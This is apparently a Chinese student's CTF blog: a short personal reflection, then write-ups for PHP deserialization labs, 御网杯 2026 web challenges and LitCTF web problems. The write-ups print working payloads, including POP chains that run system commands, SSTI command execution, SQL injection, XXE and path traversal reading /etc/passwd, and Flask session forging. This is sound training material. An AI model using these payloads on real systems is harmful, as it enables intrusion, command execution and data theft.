结果当然不出意料被拒了（，面试官很好，指导了我很多不懂的地方以及实习的业务需要，自己还是有很多不会aaa

于我而言这次面试更加提醒我未来找工作的艰辛

后面的计划是继续把未学习的知识进行学习以及把靶场没刷完的题目刷了

还有完成红岩的暑假考核

以及拿家里旧电脑好好把玩一下 linux（应该不会沉迷😀

还有就是打比赛去充实自己的履历以及将平时所学反馈出来

（但是 CTF 越来越没意思了…，ai 的出现几乎快杀死了比赛…）

最近打的一些不简单的比赛几乎就是不用 ai 解不出来了…

但是在业务方面的安全还是需要人类去进行操作的，看群里佬说目前 ai 还没有替代这一方面

下个学期大概也是继续旷课吧（，以及搜集实习机会

其实依旧迷茫，也仍然不知道未来要从事什么样的职业

但是至少我一直在努力，一直尝试够到想要达到目标

希望练出我的坚持仙蛊

6-15

PHPSerialize-labs

Fri, 12 Jun 2026 00:00:00 GMT

明天考6级，现在还在发博客？:(((

实在学不进去6级，这次就当捐款了吧

如果说是过应该没什么问题，毕竟四级考了 601 的高分（天赋发力了，但是主要是要6级 500 以上才能免修啊）

感觉我考6级纯粹是为了免修那4个学分…

等 12 月份准备下吧，大二应该不会像现在这么忙了…

level1#

直接实例化类 FLAG

1
code=new FLAG();

level2#

这里直接给了环境变量，直接读取即可：

1
code=echo $flag_string;

level3#

这里我们知道有 private 和 protect，private 修饰的属性只能通过类本身读取出来，继承的类不行，而 protect 修饰的属性可以通过其继承下来的类读取出来

1
code=echo $target->public_flag . $sub_target->show_protected_flag() . $target->get_private_flag();

level4#

题目提示了试试序列化，直接读出：

1
code=echo serialize($flag_is_here);

得到：

1
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}

拼接起来：ser4l1ze2se3me

这里解释下，创建对象后会执行 __construct()，随后对 flag3_object 进行实例化，这个动作发生在最前面，因此我们后面还是能通过 FLAG 的实例化读取到 FLAG3 中的数据

level5#

这里会对我们的一堆数据输入进行反序列化，我们一一对应先进行序列化即可

(这里拿了 tj 师傅的脚本)

1
<?php
2

3

4

5
class a_class{
6

7
    public $a_value = "HelloCTF";
8

9
}
10

11

12

13
$your_object = new a_class();
14

15
$your_boolean = true;
16

17
$your_NULL = null;
18

19
$your_string = "IWANT";
20

21
$your_number = 1;
22

23
$your_object->a_value = "FLAG";
24

25
$your_array = array('a'=>"Plz",'b'=>"Give_M3");
26

27

28

29
$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);
30

31

32

33
echo $exp;

展开收起

level6#

这里题目要求我们输入的信息进行反序列化后正确输出其对应的字符串

这里我们要注意的是我们构造序列化后它是有不可见字符的，直接复制会长度不对而导致反序列化失败

所以对此我们一般是要使用 urlencode 一下再上传

1
<?php
2
class protectedKEY{
3
    protected $protected_key = "protected_key";
4
}
5
class privateKEY{
6
    private $private_key = "private_key";
7
}
8

9
$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));
10

11
echo $exp;

level7#

题目会对我们的输入进行反序列化后访问其的 $flag_command 属性

这里我们可以对其进行修改后，$flag_command 属性就成了我们想要执行的命令了

1
<?php
2

3
class FLAG{
4

5
    public $flag_command = "system('tac flag.php');";
6

7
}
8

9
echo urlencode(serialize(new FLAG()));

level8#

这里题目要求我们将一个全局变量 $flag 的大小加到 5 以上才能得到 flag

有两个魔术方法与之有关，__construct 和 __destruct

在 __construct 中，每次启用它都会将全局变量 $flag 变为 0

随后再进行自增1

在 __destruct 中，每次启用都会将全局变量 $flag 自增1

所以这里我们目标很明确，尽可能的多摧毁序列化去触发 __destruct

这里我们最终的 payload 如下：

1
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

这里关键在于 php 的 GC 机制，可以读读官方文档 —> https://www.php.net/features.gc.refcounting-basics.php

我们创建一个空的，没有具体指向的实例后，计数器对其进行加1，随后，经过序列化后，这个对象便无人使用了，随后计数减1，到0后 php 的 GC 机制便会对其进行清理，摧毁的瞬间就会触发它的 __destruct 机制，触发 $flag 加1

这里我们要知道，触发 __construct 只在创建一个全新的对象时才会触发，因此后续的反序列化过程不会触发 __construct

level9#

有 eval 函数，直接构造即可：

1
<?php
2
class FLAG {
3
    var $flag_command = "system('env');";
4
}
5
$exp = "o=".urlencode(serialize(new FLAG()));
6
echo $exp;

level10#

这一关是考察的 __wakeup 魔术方法，它会在执行反序列化之前被调用，这里我们直接传入即可

1
<?php
2
class FLAG{
3
    function __wakeup() {
4
        include 'flag.php';
5
        echo $flag;
6
    }
7
}
8

9
$exp = 'o='.serialize(new FLAG());
10
echo $exp;

level11#

这里考察了关于 __wakeup 魔术方法的 CVE，不过若是看过 hello-ctf 的应该都会（（

1
<?php
2
class FLAG {
3
    public $flag = "FAKEFLAG";
4

5
    public function  __wakeup(){
6
        global $flag;
7
        $flag = NULL;
8
    }
9
    public function __destruct(){
10
        global $flag;
11
        if ($flag !== NULL) {
12
            echo $flag;
13
        }else
14
        {
15
            echo "sorry,flag is gone!";
16
        }
17
    }
18
}
19

20
$exp = 'o='.serialize(new FLAG());
21
echo $exp;

展开收起

最后把标志属性数量的那里加个1即可

level12#

array_rand — 从数组中随机取出一个或多个单元

这里已经解释的很清楚了

尝试了看下 FLAG 类和 CHALLENGE 类中的 $f 是不是一样的：

1
s:1:"f";s:3:"t0_" //challenge
2
s:7:"FLAGf";s:6:"clean_ //flag

顺便说下，这里若是我们要访问私有属性要使用 private 序列化后的方式

1
%00父类名称%00变量名

这里就用 chance 一直一直查：

1
s:1:"h";s:7:"NSSCTF{"
2
s:1:"e";s:4:"Th3_"
3
s:1:"l";s:17:"__sleep_function_" //challenge
4
s:7:"FLAGl";s:3:"up_" //flag
5
s:1:"I";s:4:"_is_"
6
s:1:"o";s:7:"called_"
7
s:1:"c";s:7:"before_"
8
s:1:"t";s:14:"serialization_"
9
s:1:"f";s:3:"t0_" //challenge
10
s:7:"FLAGf";s:6:"clean_" //flag
11
s:1:"f";s:3:"t0_" //challenge
12
s:7:"FLAGf";s:6:"clean_" //flag
13
s:1:"l";s:17:"__sleep_function_" //challenge
14
s:7:"FLAGl";s:3:"up_" //flag
15
s:4:"*a";s:4:"4nd_"
16
s:1:"g";s:17:"select_variab1es}"

展开收起

这里前面的在 challenge 中都有，后面在 flag 中都有，构造后如下：

1
NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

level13#

这里我们直接调用可以触发 __toString 的方式即可

1
o=echo $obj;

level14#

直接调用即可：

1
o=$obj(get_flag);

level15#

这里我们来分析下这个：

1
<?php
2

3
class A {
4
    public $a;
5
    public function __construct($a) {        $this->a = $a;
6
    }
7
}
8
class B {
9
    public $b;
10
    public function __construct($b) {        $this->b = $b;
11
    }
12
}
13
class C {
14
    public $c;
15
    public function __construct($c) {        $this->c = $c;
16
    }
17
}
18

19
class D {
20
    public $d;
21
    public function __construct($d) {        $this->d = $d;
22
    }
23
    public function __wakeUp() {        $this->d->action();
24
    }
25
}
26

27
class destnation {
28
    var $cmd;
29
    public function __construct($cmd) {        $this->cmd = $cmd;
30
    }
31
    public function action(){
32
        eval($this->cmd->a->b->c);
33
    }
34
}
35

36
if(isset($_POST['o'])) {    unserialize($_POST['o']);
37
} else {    highlight_file(__FILE__);
38
}

展开收起

关键在于 destnation 中的 eval 函数，它会顺着 $this->cmd->a->b->c 一路向上去

所以我们应该构造从 c 这个末端回溯到 cmd

这里我们可以赋值给 $c，就赋值命令：

1
$c = new C("system('cat flag.php');");

随后到 b：

1
$b = new B($c)

随后到 a：

1
$a = new A($b)

随后到 cmd：

1
$des = new destnation($a);

随后我们再到 D 中让 __wakeup 方法去执行 $this->d->action();，就能成功执行到 action() 了

1
$d =  new D($des);

最终 payload：

1
<?php
2

3

4

5
class A {
6

7
    public $a;
8

9
    public function __construct($a) {
10

11
        $this->a = $a;
12

13
    }
14

15
}
16

17
class B {
18

19
    public $b;
20

21
    public function __construct($b) {
22

23
        $this->b = $b;
24

25
    }
26

27
}
28

29
class C {
30

31
    public $c;
32

33
    public function __construct($c) {
34

35
        $this->c = $c;
36

37
    }
38

39
}
40

41

42

43
class D {
44

45
    public $d;
46

47
    public function __construct($d) {
48

49
        $this->d = $d;
50

51
    }
52

53
    public function __wakeUp() {
54

55
        $this->d->action();
56

57
    }
58

59
}
60

61

62

63
class destnation {
64

65
    var $cmd;
66

67
    public function __construct($cmd) {
68

69
        $this->cmd = $cmd;
70

71
    }
72

73
    public function action(){
74

75
        eval($this->cmd->a->b->c);
76

77
    }
78

79
}
80

81

82

83
$c = new C("system('env');");
84

85
$b = new B($c);
86

87
$a = new A($b);
88

89
$des = new destnation($a);
90

91
$d =  new D($des);
92

93

94

95
echo serialize($d);

展开收起

level16#

分析下代码：

1
<?php
2

3

4

5
class A {
6

7
    public $a;
8

9
    public function __invoke() {
10

11
            include $this->a;
12

13
            return $flag;
14

15
    }
16

17
}
18

19

20

21
class B {
22

23
    public $b;
24

25
    public function __toString() {
26

27
        $f = $this->b;
28

29
        return $f();
30

31
    }
32

33
}
34

35

36

37

38
class INIT {
39

40
    public $name;
41

42
    public function __wakeUp() {
43

44
        echo $this->name.' is awake!';
45

46
    }
47

48
}
49

50

51

52
if(isset($_POST['o'])) {
53

54
    unserialize($_POST['o']);
55

56
} else {
57

58
    highlight_file(__FILE__);
59

60
}

展开收起

这里很明显，我们的最终目标就是使得 A 中的 __invoke 被调用

在 pop 链的构造中，我们通常是通过终点向上

这里的终点就是 __invoke 魔术方法被调用

往上查找，哪里有和函数调用相关的量：

1
class B {
2

3
    public $b;
4

5
    public function __toString() {
6

7
        $f = $this->b;
8

9
        return $f();
10

11
    }
12

13
}

这里我们可以看到调用了 $f()，我们要连接起来他们的话可以看到：

$f = $this->b;，这里将属性 b 给了 $f

因此我们让 $b 等于 A 的一个实例即可，这样 return $f(); 真实调用的就是 return (new A())()，随后成功调用 __invoke

随后我们再看，有什么办法能够调用 __toString

1
class INIT {
2

3
    public $name;
4

5
    public function __wakeUp() {
6

7
        echo $this->name.' is awake!';
8

9
    }
10

11
}

这里将 $name 打出，因此我们只要将 $name 变为 B 类的一个实例即可

最终 payload：

1
class A {
2
    public $a='flag.php';
3
}
4

5
class B {
6
    public $b;
7
}
8

9
class INIT {
10
    public $name;
11
}
12

13
$a = new A();
14
$b = new B();
15
$b->b = $a;
16
$init = new INIT();
17
$init->name  = $b;
18

19
echo urlencode(serialize($init));

展开收起

level17#

这里我们看代码：

1
if(isset($_POST['o'])) {    $a = unserialize($_POST['o']);
2
    if ($a instanceof A && $a->helloctfcmd == "get_flag") {
3
        include 'flag.php';
4
        echo $flag;
5
    } else {
6
        echo "what's rule?";
7
    }

这里要求我们的 a 是由 A 类创建出来的，即反序列化钱的 o 是 A 的一个实例

随后要 A 中有个属性为它既定的值：

1
<?php
2

3
class A {
4

5
    public $helloctfcmd = "get_flag";
6

7
}
8

9
echo urlencode(serialize(new A()));

level18#

审代码：

1
<?php
2

3
highlight_file(__FILE__);
4

5
class Demo {
6
    public $a = "Hello";
7
    public $b = "CTF";
8
    public $key = 'GET_FLAG";}FAKE_FLAG';
9
}
10

11
class FLAG {
12

13
}
14

15
$serliseStringDemo = serialize(new Demo());
16

17
$target = $_GET['target'];
18
$change = $_GET['change'];
19

20
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
21

22
$FLAG = unserialize($serliseStringFLAG);
23

24
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
25
    echo $flag;
26
}

展开收起

我们的目标是使得 FLAG 是来自 FLAG 类，并且其中要有一个 key 属性值等于 GET_FLAG

在序列化和反序列化中，当成员属性的数量，名称长度，内容长度均一致时，程序会以 ”;}” 作为字符串的结尾判定

题目给了我们可以定义的替换字符

最终 payload：

1
?target[]=Demo&target[]=20&change[]=FLAG&change[]=8

这里我们执行了将 Demo 换为 Flag，并且将 20 换为了 8（使用数组进行交换）

2026御网杯-web-ak

Sat, 30 May 2026 00:00:00 GMT

老实说这次的比赛 web 方向都不是很难

打都打了还是发个 wp 吧

WEB-Snake_Game#

这里打开题目，很明显抓包改数据即可

WEB-PHP_Payment#

打开题目，是一个购买 flag 系统，这里我们在上方可以得到一个代金卷

但是一开始具体怎么输入去得到正确的回显还是不知道：

这里重点分析 apply_coupon.php：

1
<?php
2

3
session_start();
4

5
include '../config.php';
6

7
include '../models.php';
8

9
header('Content-Type: application/json');
10

11

12

13
if (!isset($_SESSION['user_id'])) {
14

15
    die(json_encode(["error" => "Authentication required"]));
16

17
}
18

19

20

21
$couponData = $_POST['coupon'] ?? '';
22

23

24

25
if ($couponData === '') {
26

27
    die(json_encode(["error" => "Empty coupon code"]));
28

29
}
30

31

32

33
$decoded = base64_decode($couponData);
34

35
if ($decoded === false) {
36

37
    die(json_encode(["error" => "Invalid coupon format. Must be base64."]));
38

39
}
40

41

42

43
try {
44

45
    $promo = @unserialize($decoded);
46

47
    if ($promo === false) {
48

49
        die(json_encode(["error" => "Failed to apply coupon."]));
50

51
    }
52

53
} catch (Exception $e) {
54

55
    die(json_encode(["error" => "Coupon parsing error."]));
56

57
}
58

59

60

61
echo json_encode(["success" => true, "message" => "Coupon processed."]);
62

63
?>

展开收起

这里后端会先将我们的输入进行 base64 解码，随后再对我们的输入进行反序列化；若都成功，则回显 Coupon processed.

这里我们再看 models.php：

1
<?php
2

3

4

5
class PromoManager {
6

7
    public $promo_credit;
8

9
    public $promo_code;
10

11

12

13
    public function __construct($code, $credit) {
14

15
        $this->promo_code = $code;
16

17
        $this->promo_credit = $credit;
18

19
    }
20

21

22

23
    function __destruct() {
24

25
        if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
26

27
            $_SESSION['balance'] += intval($this->promo_credit);
28

29
        }
30

31
    }
32

33
}
34

35
?>

展开收起

这里当反序列化的对象被摧毁后会执行将我们输入的 promo_credit 添加到 $_SESSION['balance'] 上

这里我们再看 buy.php：

1
<?php
2

3
session_start();
4

5
include 'config.php';
6

7
header('Content-Type: application/json');
8

9

10

11
if (!isset($_SESSION['user_id'])) {
12

13
    die(json_encode(["error" => "Authentication required"]));
14

15
}
16

17

18

19
$item = $_POST['item'] ?? '';
20

21

22

23
if ($item === '') {
24

25
    die(json_encode(["error" => "Missing item parameter"]));
26

27
}
28

29

30

31
$items = [
32

33
    'basic_vip' => 10,
34

35
    'premium_vip' => 50,
36

37
    'flag' => 99999
38

39
];
40

41

42

43
if (!array_key_exists($item, $items)) {
44

45
    die(json_encode(["error" => "Invalid item."]));
46

47
}
48

49

50

51
$price = $items[$item];
52

53

54

55
if ($_SESSION['balance'] < $price) {
56

57
    die(json_encode(["error" => "Insufficient funds! You only have " . intval($_SESSION['balance']) . " 金币."]));
58

59
}
60

61

62

63
$_SESSION['balance'] -= $price;
64

65

66

67
if ($item === 'flag') {
68

69
    $flag = "flag{da91f6ee9d5cceef4705fd4f8af9e3f3}";
70

71
    if (file_exists('/var/www/flag.php')) {
72

73
        include '/var/www/flag.php';
74

75
        if (isset($FLAG)) $flag = $FLAG;
76

77
    }
78

79
    echo json_encode(["success" => true, "message" => "购买 successful! Your Flag is [ " . $flag . " ]", "balance" => $_SESSION['balance']]);
80

81
} else {
82

83
    echo json_encode(["success" => true, "message" => "购买 successful! Enjoy your " . htmlspecialchars($item) . ".", "balance" => $_SESSION['balance']]);
84

85
}
86

87
?>

展开收起

（这里的 flag 是测试时候用的，真正的还在环境变量里面）

这里很明显，后端是使用我们的 $_SESSION['balance'] 去当作钱进行购买 flag 的一个操作

于是，整条攻击链就都出来了

我们先构造一个 base64 编码过后的的序列化对象传入，后端先进行 base64 解码随后再进行反序列化操作，随后 __destruct() 执行随后将我们的代金卷添加到 $_SESSION['balance'] 上，接下来我们就可以进行购买了

最终脚本：

1
<?php
2

3
include 'models.php';
4

5

6

7
$obj = new PromoManager("a", 99999);
8

9
$serialized = serialize($obj);
10

11
$b64 = base64_encode($serialized);
12

13

14

15
echo "Serialized: " . $serialized . "\n";
16

17
echo "Base64: " . $b64 . "\n";
18

19
?>

展开收起

WEB-Enterprise-OA#

这里题目直接就提示了路径遍历

这里第一次直接尝试双写绕过就成功读取到了

1
....//....//....//....//....//....///etc/passwd

随后 fuzz 一下得到名字叫 flag.txt

WEB-TaxSystem_SSTI#

这里题目给了附件，打开后发现在 init.db 中就能发现账号密码还有个 flag 数据库：

1
cur.execute('INSERT INTO users (username, password, role) VALUES ("admin", "123456", "admin")')
2

3
cur.execute('INSERT INTO config_flags (flag) VALUES ("flag{xxxxxxxxxxxxxxxx}")')

我们在 app.py 中可以发现直接使用了模板渲染：

1
if state == 'AUDIT_PENDING':
2

3
        custom_footer = profile['custom_footer']
4

5
        blacklist = ['__', '[', ']', '|', '\\', '+', "'", '"', 'request', 'session', 'url_for', 'popen', 'system']
6

7
        for word in blacklist:
8

9
            if word in custom_footer:
10

11
                return "Security Policy Violation: Blocked character or word detected in footer.", 403
12

13
        template_html = f"""
14

15
        <!DOCTYPE html>
16

17
        <html lang="en">
18

19
        <head>
20

21
            <meta charset="UTF-8">
22

23
            <title>Audit Report</title>
24

25
            <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
26

27
            <style>
28

29
                body {{ background-color: #f3f4f6; }}
30

31
            </style>
32

33
        </head>
34

35
        <body class="p-10">
36

37
            <div class="max-w-4xl mx-auto bg-white p-8 border-t-8 border-red-600 shadow-xl rounded">
38

39
                <div class="flex justify-between items-center mb-6 border-b pb-4">
40

41
                    <h1 class="text-3xl font-bold text-gray-800">OFFICIAL AUDIT REP或T</h1>
42

43
                    <span class="px-4 py-1 bg-red-100 text-red-800 rounded-full font-semibold">CONFIDENTIAL</span>
44

45
                </div>
46

47
                <div class="grid grid-cols-2 gap-6 mb-8 text-lg">
48

49
                    <div><span class="font-bold text-gray-600">Tax Year:</span> {profile['year']}</div>
50

51
                    <div><span class="font-bold text-gray-600">状态: </span> <span class="text-red-600 font-bold">AUDIT PENDING</span></div>
52

53
                    <div><span class="font-bold text-gray-600">Declared Income:</span> ${profile['income']}</div>
54

55
                    <div><span class="font-bold text-gray-600">Deductions:</span> ${profile['deductions']}</div>
56

57
                </div>
58

59
                <div class="mt-12 pt-6 border-t border-gray-200 text-sm text-gray-500 italic text-center">
60

61
                    {custom_footer}
62

63
                </div>
64

65
            </div>
66

67
            <div class="mt-8 text-center"><a href="/dashboard" class="px-6 py-2 bg-gray-800 text-white rounded hover:bg-gray-700 transition">返回控制台</a></div>
68

69
        </body>
70

71
        </html>
72

73
        """
74

75
        try:
76

77
            return render_template_string(template_html)
78

79
        except Exception as e:
80

81
            return str(e), 500

展开收起

这里对我们用户输入进行了一部分的黑名单过滤（但是基本没什么作用），这里的 year 会被直接拼接到 render_template_string 函数中进行渲染

有 flag 存储位置，于是我们直接 ssti 注入即可：

1
year={{config.__class__.__init__.__globals__['os'].popen('sqlite3 /var/lib/sqlite/tax.db "SELECT flag FROM config_flags"').read()}}

这里猜测有第二种做法：

在 app.py 中：

1
@app.route('/admin/vault')
2

3
def admin_vault():
4

5
    if session.get('role') != 'tax_inspector':
6

7
        return render_template_string("""
8

9
        <div style="text-align:center; margin-top:100px; font-family:sans-serif;">
10

11
            <h1 style="color:red;">Unauthorized Access</h1>
12

13
            <p>You must be a <b>tax_inspector</b> to access this vault.</p>
14

15
            <a href="/dashboard">Back</a>
16

17
        </div>
18

19
        """), 403
20

21
    db = get_db()
22

23
    flag = db.execute("SELECT flag FROM config_flags LIMIT 1").fetchone()
24

25
    return render_template('admin.html', flag=flag['flag'] if flag else "No flag found")

展开收起

若是我们有 tax_inspector 的权限，便可通关这个端点进行访问去拿到 flag

这里我们通过 {{config}} 能拿到 SECRET_KEY

随后我们运行脚本伪造 session：

1
from flask import Flask
2
from flask.sessions import SecureCookieSessionInterface
3

4
app = Flask(__name__)
5
app.config['SECRET_KEY'] = 'secret_tax_key_2026_xoxo'
6
si = SecureCookieSessionInterface()
7
serializer = si.get_signing_serializer(app)
8

9
forged_session = serializer.dumps({"role": "tax_inspector", "user_id": 1})

随后替换 session 去访问 /admim/vault 即可拿到 flag

LitCTF2023-2025-web-wp

Tue, 26 May 2026 00:00:00 GMT

这里列出来一部分的题目（具体的其他赛题可以看下其他师傅的文章（其实是其他题目没写 wp😭

[LitCTF 2023]Flag点击就送！#

这里打开题目，随便注册了一个账号 0n1y

随后去点击获得 flag，显示 只有管理员才能拿flag耶

这里看了下 session 值，很明显是 jwt 格式

这道题是使用 jwt 确认身份

这里我先把得到的 jwt 去进行爆破

试了好一会，发现不大行（

随后猜是不是 LitCTF

这里用到一个工具叫做 flask-unsign，它可以直接伪造一个 jwt

flask-unsign --sign --cookie "{'name': 'admin'}" --secret 'LitCTF'

[LitCTF 2023]这是什么？SQL ！注一下！#

打开题目，明显的 sql 注入

这里直接给我们源码了（（tjjj好！

因此直接开注

?id=-1)))))) union select schema_name,2 from information_schema.schemata--+

这一步得到所有的数据库：

1
Array ( [0] => Array ( [username] => information_schema [password] => 2 ) [1] => Array ( [username] => mysql [password] => 2 ) [2] => Array ( [username] => ctftraining [password] => 2 ) [3] => Array ( [username] => performance_schema [password] => 2 ) [4] => Array ( [username] => test [password] => 2 ) [5] => Array ( [username] => ctf [password] => 2 ) )

这里我们先看 ctf 库

-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'--+

这一步得到表名 users

?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'--+

这一步得到列名 id,username,password

?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users--+

这一步得到一个假的 flag（彩蛋！

彩蛋4：F1rst_to_Th3_eggggggggg!} (4/4)

这里换个数据库查，ctftraining

流程和上面一致：

这里注意，我们最后查询的数据库不是 information_schema，而是 ctftraining

在这个库里面是没有 table_schema 这个库名字段

因此我们不能说 ...where table_name='flag' and table_schema='ctftraining'--+

此刻我们在 information_schema 数据库外，应该使用的是 数据库名.表名

最终查询 payload：

?id=-1)))))) union select flag,2 from ctftraining.flag--+

[LitCTF 2024]高亮主题(划掉)背景查看器#

打开题目，没有什么有效信息，但是切换主题的时候有 post 请求

这里其实读源码也能看到请求

这里抓包，得到是去读取一个文件 theme2.php

感觉存在路径穿越

尝试读取 /etc/passwd 成功

最终 payload：../../../../../../../../../../../../flag

[LitCTF 2024]exx#

这里题目提示了 xxe

打开题目，抓包登录：

构造如下 payload 验证 xxe：

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
2
<user><username>&xxe;</username><password>1</password></user>

得到回显：

1
<result><code>0</code><msg>root:x:0:0:root:/root:/bin/ash
2
bin:x:1:1:bin:/bin:/sbin/nologin
3
daemon:x:2:2:daemon:/sbin:/sbin/nologin
4
adm:x:3:4:adm:/var/adm:/sbin/nologin
5
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6
sync:x:5:0:sync:/sbin:/bin/sync
7
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8
halt:x:7:0:halt:/sbin:/sbin/halt
9
mail:x:8:12:mail:/var/mail:/sbin/nologin
10
news:x:9:13:news:/usr/lib/news:/sbin/nologin
11
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
12
operator:x:11:0:operator:/root:/sbin/nologin
13
man:x:13:15:man:/usr/man:/sbin/nologin
14
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
15
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
16
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
17
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
18
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
19
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
20
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
21
games:x:35:35:games:/usr/games:/sbin/nologin
22
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
23
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
24
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
25
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
26
guest:x:405:100:guest:/dev/null:/sbin/nologin
27
nobody:x:65534:65534:nobody:/:/sbin/nologin
28
www-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologin
29
utmp:x:100:406:utmp:/home/utmp:/bin/false
30
mysql:x:101:101:mysql:/var/lib/mysql:/sbin/nologin
31
nginx:x:102:102:nginx:/var/lib/nginx:/sbin/nologin
32
</msg></result>

展开收起

直接读取根目录 flag 即可：

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
2
<user><username>&xxe;</username><password>1</password></user>

[LitCTF 2024]百万美元的诱惑#

打开题目给了源码：

1
<?php
2
error_reporting(0);
3

4
$a = $_GET['a'];
5
$b = $_GET['b'];
6
$c = $_GET['c'];
7

8
if ($a !== $b && md5($a) == md5($b)) {
9
        if (!is_numeric($c) && $c > 2024) {
10
            echo "好康的";
11
        } else {
12
            die("干巴爹干巴爹先辈~");
13
        }
14
    }
15
else {
16
    die("开胃小菜))");
17
}
18
开胃小菜))

展开收起

这里是用了个 md5 比较，直接绕过即可：

1
?a=QNKCDZO&b=240610708&c=2025a

进入第二关：

1
<?php
2
//flag in 12.php
3
error_reporting(0);
4
if(isset($_GET['x'])){
5

6
    $x = $_GET['x'];
7

8
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
9

10
            system("cat ".$x.".php");
11
    }
12
}else{
13
    highlight_file(__FILE__);
14
}
15
?>

展开收起

这里我们需要使得传入的 x 值为 12

但是不能传入字母和数字和一堆符号

这里很明显 $( 是可以传的，那么我们可以通过取反构造数字

$(()) 用于计算，当其中无值是则输出0

嵌套取反

Terminal window

1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

还看到一个师傅的 payload 是这样构造的：

Terminal window

1
$(($$/$$))$(($$/$$+$$/$$))

这里的 $$ 表示当前的进程号，使用 $$/$$ 即可得到 1

后面的 $$/$$+$$/$$ 即可得到 2

这里连接起来就是 12

注意要对 + 进行 url 编码，这里直接 url 编码即可：

1
?x=%24((%24%24%2F%24%24))%24((%24%24%2F%24%24%2B%24%24%2F%24%24))

[LitCTF 2024]浏览器也能套娃？#

打开题目，让我们输入一个 url

猜测为 ssrf，抓包使用 file 协议读取 /etc/passwd 成功

再读取 /flag 即可

[LitCTF 2024]SAS - Serializing Authentication#

打开题目，直接给了源码：

1
<?php
2
class User {
3
    public $username;
4
    public $password;
5
    function __construct($username, $password) {
6
        $this->username = $username;
7
        $this->password = $password;
8
    }
9
    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
10
}
11
?>

很明显要通过反序列化构造回 User 类以及其中属性要对应 isValid 中的值

脚本：

1
<?php
2
// 1. 必须声明和目标一模一样的类结构
3
class User {
4
    public $username;
5
    public $password;
6

7
    function __construct($username, $password) {
8
        $this->username = $username;
9
        $this->password = $password;
10
    }
11
}
12

13
// 2. 实例化一个满足绕过条件的对象
14
$admin_user = new User('admin', 'secure_password');
15

16
// 3. 序列化这个对象
17
$serialized_data = serialize($admin_user);
18
echo "原始序列化字符串: " . $serialized_data . "\n";
19

20
// 4. 进行 Base64 编码
21
$final_payload = base64_encode($serialized_data);
22
echo "最终提交的 Payload: " . $final_payload . "\n";
23
?>

展开收起

这里因为它会对我们的数据先 base64 解码再反序列化，因此先编码一次

最终得到的 payload： Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=

[LitCTF 2025]星愿信箱#

只过滤了 {{}}，这里使用 {%%} 绕过即可

1
{%print(lipsum.__globals__.os.popen('tac /flag').read())%}

[LitCTF 2025]easy_file#

打开题目是个登录框

随便输入什么抓包

发现它将我们的输入先是进行一次 base64 编码

这里先修改我们的账号密码为：

1
username=YWRtaW4=&password=cGFzc3dvcmQ=

登进去，发现有个文件上传

这里尝试 .php 后缀发现被过滤，大概是白名单

在首页我们得到这样一个提示：//file查看头像

后面直接使用这个接口连接上传的文件即可

[LitCTF 2025]君の名は#

源码：

1
<?php
2
highlight_file(__FILE__);
3
error_reporting(0);
4
create_function("", 'die(`/readflag`);');
5
class Taki
6
{
7
    private $musubi;
8
    private $magic;
9
    public function __unserialize(array $data)
10
    {        $this->musubi = $data['musubi'];        $this->magic = $data['magic'];
11
        return ($this->musubi)();
12
    }
13
    public function __call($func,$args){
14
        (new $args[0]($args[1]))->{$this->magic}();
15
    }
16
}
17

18
class Mitsuha
19
{
20
    private $memory;
21
    private $thread;
22
    public function __invoke()
23
    {
24
        return $this->memory.$this->thread;
25
    }
26
}
27

28
class KatawareDoki
29
{
30
    private $soul;
31
    private $kuchikamizake;
32
    private $name;
33

34
    public function __toString()
35
    {
36
        ($this->soul)->flag($this->kuchikamizake,$this->name);
37
        return "call error!no flag!";
38
    }
39
}
40

41
$Litctf2025 = $_POST['Litctf2025'];
42
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){    unserialize($Litctf2025);
43
}else{
44
    echo "把O改成C不就行了吗,笨蛋!～(∠・ω< )⌒☆";
45
}

